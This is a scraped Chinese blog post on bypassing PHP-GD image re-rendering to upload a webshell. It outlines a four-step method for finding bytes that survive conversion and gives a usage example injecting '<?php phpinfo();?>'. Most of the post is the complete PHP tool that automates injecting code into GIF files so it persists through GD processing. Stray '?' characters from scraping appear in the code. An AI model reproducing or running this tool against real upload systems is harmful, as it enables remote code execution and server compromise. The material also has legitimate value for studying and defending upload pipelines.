图片重绘

Posted micr067

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了图片重绘相关的知识,希望对你有一定的参考价值。

应用调用图片库对上传的文件进行了图片转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用上传合成图片马等方式上传webshell。

1、将正常图片用目标的图形库进行转换

2、寻找转换前后两次未变的部分

3、将未变的部分替换为欲上传的webshell

4、将替换后的文件进行图像转换,看是否存在我们替换的内容

 

转换前:123abc[112233]abc

转换后:xxxsdd[112233]2du

 

一个小的测试项目:

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

 

1、先生成普通合成图片尝试上传

技术图片

 

 发现上传成功后,php脚本内容被清除

技术图片

 

 然后对图片进行处理:

用法:codeinj.php demo.gif "<?php phpinfo();?>"

技术图片

 

上传后可以成功解析

技术图片

 

 上传后的图片中php脚本内容仍然被保留。

 技术图片

 

 图片重绘代码如下:

<?php
   
function gd_process($src_img, $dst_img) {
   try {
       # you can redefine the GD process
       $im = imagecreatefromgif($src_img);
       imagegif($im, $dst_img);
  } catch (Exception $e) {
       printf("%s ", $e->getMessage());
       return false;
  }
?
   return true;
}
?
?
function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
   $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
   $dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
   $src_index = 0;
   $pre_match_array = array();
?
   while ($src_index < (strlen($src_data) - $block_len)) {
       $find_data = substr($src_data, $src_index, $block_len);
?
       $dst_index = 0;
       $found = false;
       while ($dst_index < (strlen($dst_data) - $block_len)) {
           $temp_data = substr($dst_data, $dst_index, $block_len);
           if (0 === strcmp($find_data, $temp_data)) {
               $match = array(
                   "src_offset" => $src_index,
                   "dst_offset" => $dst_index
              );
               $pre_match_array[] = $match;
               $found = true;
?
               /*
               printf("Similar block found> src_offset: %d ", $src_index);
               printf("                     dst_offset: %d ", $dst_index);
               printf("                   similar_data: %s ", str2hex($temp_data));
               printf("                 similar_length: %s ", strlen($temp_data));
               */
          }
           if ($found && $slow == false)
               $dst_index += $block_len;
           else
               $dst_index++;
      }
?
       if ($found && $slow == false)
           $src_index += $block_len;
       else
           $src_index++;
  }
?
   return $pre_match_array;
}
?
?
function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
   $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
   $inj_len = strlen($injection_code);
?
   $find_n = 0;
   foreach ($pre_match_array as $similar_block) {
       #printf("Trying inject code to source image with offset: %d, length: %d ", $similar_block["src_offset"], $inj_len);
       $mod_src_data = substr($src_data, 0, $similar_block["src_offset"]).$injection_code.substr($src_data, $similar_block["src_offset"] + $inj_len);
       $temp_img = sys_get_temp_dir()."/".$src_img.".mod";
       $temp_cvt_img = $temp_img.".gd";
       fwrite(fopen($temp_img, "wb"), $mod_src_data);
?
       if (!gd_process($temp_img, $temp_cvt_img)) {
           #printf("PHP-GD process() the image modified error, offset: %d ", $similar_block["src_offset"]);
           #printf("                                           length: %d ", $inj_len);
           continue;
      } else {
           if (check_code($temp_cvt_img, $injection_code)) {
               $fuck_img = "gd_".$src_img;
               fwrite(fopen($fuck_img, "wb"), $mod_src_data);
               printf("Inject code to source image successful with offset: %d ", $similar_block["src_offset"]);
               printf("Saving result "%s", have fun! :) ", $fuck_img);
               exit;
          } else {
               continue;
               #printf("Modified image doesn‘t work well, offset: %d, retry... ", $similar_block["src_offset"]);
          }
      }
  }
}
?
?
function check_code($src_img, $injection_code) {
   $data = fread(fopen($src_img, "rb"), filesize($src_img));
?
   return strpos($data, $injection_code);
}
?
?
function str2hex($str){
   $hex = "";
   for ($i = 0; $i < strlen($str); $i++){
       $hex .= sprintf("%02x", (ord($str[$i])));;
  }
?
   return $hex;
}
?
?
function hex2str($hex){
   $str = "";
   for ($i = 0; $i < strlen($hex)-1; $i+=2){
       $str .= chr(hexdec($hex[$i].$hex[$i+1]));
  }
?
   return $str;
}
?
?
/* main */
if ($argc < 3) {
   printf("Usage: php %s <src_img> <inj_code> ", $argv[0]);
   exit;
}
?
$slow = false;
$src_img = $argv[1];
$injection_code = $argv[2];
?
$img_info = getimagesize($src_img);
?
/* GIF image type value "1" */
if ($img_info[2] == ‘1‘) {
   $cvt_img = sys_get_temp_dir()."/".basename($src_img);
   if (!gd_process($src_img, $cvt_img)) {
       printf("PHP-GD process() function error, please check out. ");
       exit;
  }
} else {
   printf("This script only support GIF image. ");
   exit;
}
?
$block_len = strlen($injection_code);
$pre_match_array = find_similar_block($src_img, $cvt_img, $block_len, $slow);
?
if (sizeof($pre_match_array)) {
   inject_code_to_src_img($src_img, $pre_match_array, $injection_code);
} else {
   printf("Not found any similar %d bytes block. ", strlen($injection_code));
}
?
printf("Cant find any useful similar block to inject code, but take it easy. :( ");

 

参考链接:https://secgeek.net/bookfresh-vulnerability/

以上是关于图片重绘的主要内容,如果未能解决你的问题,请参考以下文章

根据图片的url地址下载图片到本地保存代码片段

Java GIF 动画未正确重绘

Web前端性能优化-重绘与回流

如何强制重绘列表视图?

性能优化: 避免重绘与回流的实现方式

前端面试,备考第 17 天—— 怎么对项目做性能优化:图片优化 | CDN | 懒加载 | 回流重绘 | 动画